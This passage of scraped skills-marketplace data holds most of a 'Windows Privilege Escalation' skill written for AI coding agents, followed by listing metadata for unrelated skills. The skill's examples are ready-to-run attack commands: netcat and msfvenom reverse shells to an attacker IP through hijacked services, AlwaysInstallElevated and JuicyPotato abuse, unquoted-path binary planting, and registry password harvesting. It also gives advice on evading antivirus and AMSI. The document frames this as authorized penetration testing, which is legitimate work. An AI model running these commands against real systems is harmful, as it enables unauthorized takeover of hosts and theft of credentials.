\u002Fv \"\"\"` |\n| Weak service perms | `accesschk.exe -uwcqv \"Everyone\" *` |\n| AlwaysInstallElevated | `reg query HKCU\\...\\Installer \u002Fv AlwaysInstallElevated` |\n| Stored credentials | `cmdkey \u002Flist` |\n| Token privileges | `whoami \u002Fpriv` |\n| Scheduled tasks | `schtasks \u002Fquery \u002Ffo LIST \u002Fv` |\n\n### Impersonation Privilege Exploits\n\n| Privilege | Tool | Usage |\n|-----------|------|-------|\n| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |\n| SeImpersonatePrivilege | PrintSpoofer | Spooler service |\n| SeImpersonatePrivilege | RoguePotato | OXID resolver |\n| SeBackupPrivilege | robocopy \u002Fb | Read protected files |\n| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |\n| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |\n\n## Constraints and Limitations\n\n### Operational Boundaries\n- Kernel exploits may cause system instability\n- Some exploits require specific Windows versions\n- AV\u002FEDR may detect and block common tools\n- Token impersonation requires service account context\n- Some techniques require GUI access\n\n### Detection Considerations\n- Credential dumping triggers security alerts\n- Service modification logged in Event Logs\n- PowerShell execution may be monitored\n- Known exploit signatures detected by AV\n\n### Legal Requirements\n- Only test systems with written authorization\n- Document all escalation attempts\n- Avoid disrupting production systems\n- Report all findings through proper channels\n\n## Examples\n\n### Example 1: Service Binary Path Exploitation\n```powershell\n# Find vulnerable service\naccesschk.exe -uwcqv \"Authenticated Users\" * \u002Faccepteula\n# Result: RW MyService SERVICE_ALL_ACCESS\n\n# Check current config\nsc qc MyService\n\n# Stop service and change binary path\nsc stop MyService\nsc config MyService binpath= \"C:\\Users\\Public\\nc.exe 10.10.10.10 4444 -e cmd.exe\"\nsc start MyService\n\n# Catch shell as SYSTEM\n```\n\n### Example 2: AlwaysInstallElevated Exploitation\n```powershell\n# Verify vulnerability\nreg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated\n# Both return: 0x1\n\n# Generate payload (attacker machine)\nmsfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi\n\n# Transfer and execute\nmsiexec \u002Fquiet \u002Fqn \u002Fi C:\\Users\\Public\\shell.msi\n\n# Catch SYSTEM shell\n```\n\n### Example 3: JuicyPotato Token Impersonation\n```powershell\n# Verify SeImpersonatePrivilege\nwhoami \u002Fpriv\n# SeImpersonatePrivilege Enabled\n\n# Run JuicyPotato\nJuicyPotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a \"\u002Fc c:\\users\\public\\nc.exe 10.10.10.10 4444 -e cmd.exe\" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}\n\n# Catch SYSTEM shell\n```\n\n### Example 4: Unquoted Service Path\n```powershell\n# Find unquoted path\nwmic service get name,pathname | findstr \u002Fi \u002Fv \"\"\"\n# Result: C:\\Program Files\\Vuln App\\service.exe\n\n# Check write permissions\nicacls \"C:\\Program Files\\Vuln App\"\n# Result: Users:(W)\n\n# Place malicious binary\ncopy C:\\Users\\Public\\shell.exe \"C:\\Program Files\\Vuln.exe\"\n\n# Restart service\nsc stop \"Vuln App\"\nsc start \"Vuln App\"\n```\n\n### Example 5: Credential Harvesting from Registry\n```powershell\n# Check for auto-logon credentials\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon\"\n# DefaultUserName: Administrator\n# DefaultPassword: P@ssw0rd123\n\n# Use credentials\nrunas \u002Fuser:Administrator cmd.exe\n# Or for remote: psexec \\\\target -u Administrator -p P@ssw0rd123 cmd\n```\n\n## Troubleshooting\n\n| Issue | Cause | Solution |\n|-------|-------|----------|\n| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |\n| Service won't start | Binary path syntax | Ensure space after `=` in binpath: `binpath= \"C:\\path\\binary.exe\"` |\n| Token impersonation fails | Wrong privilege\u002Fversion | Check `whoami \u002Fpriv`; verify Windows version compatibility |\n| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: `python wes.py systeminfo.txt` |\n| PowerShell blocked | Execution policy\u002FAMSI | Use `powershell -ep bypass -c \"cmd\"` or `-enc \u003Cbase64>` |\n",{"name":5,"metadata":46,"description":7},{"author":47,"version":48},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwindows-privilege-escalation",3931,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-14 06:14:46",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add davila7\u002Fclaude-code-templates --skill \"Windows Privilege Escalation\"",{"tool":65,"command":66},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill \"Windows Privilege Escalation\"",{"tool":68,"command":69},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill \"Windows Privilege Escalation\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwindows-privilege-escalation\u002FSKILL.md",true,[],[74,100,127,160,195,219],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":81,"publishedAt":41},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[80],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[82,83,84,85,86,29,87,88,89,27,90,91,92,93,94,95,96,97,98,99],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":107,"publishedAt":41},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[106],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[108,109,110,111,112,113,114,115,116,117,118,27,119,120,121,122,123,124,125,126],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":142,"publishedAt":41},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[133,136,137],{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":138,"categoryName":139,"taxonomyType":140,"taxonomyTypeDesc":141},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[143,144,145,146,147,148,149,29,150,151,152,153,154,155,156,89,157,158,27,159],"readonly","guard","sql guard","sql","readonly sql guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access","database","query",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":164,"licenseFileUrl":165,"sourceHtmlUrl":166,"categories":167,"keywords":171,"publishedAt":41},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[168],{"categoryNo":169,"categoryName":170,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,29,194],"artifacts builder","web","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":164,"licenseFileUrl":199,"sourceHtmlUrl":200,"categories":201,"keywords":206,"publishedAt":41},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[202,205],{"categoryNo":203,"categoryName":204,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":169,"categoryName":170,"taxonomyType":21,"taxonomyTypeDesc":22},[207,208,209,210,211,173,212,182,183,213,214,215,216,29,217,91,218],"webapp testing","testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":220,"name":221,"nameZh":6,"description":222,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":164,"licenseFileUrl":223,"sourceHtmlUrl":224,"categories":225,"keywords":233,"publishedAt":41},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[226,229,230],{"categoryNo":227,"categoryName":228,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":231,"categoryName":232,"taxonomyType":140,"taxonomyTypeDesc":141},"01JBSEEDCAT000000000000036","内容创作者",[234,235,236,237,238,239,240,241,175,242,185,119,243,244,245,246,247,155,248,27,249,250,251,252,253,97,254],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]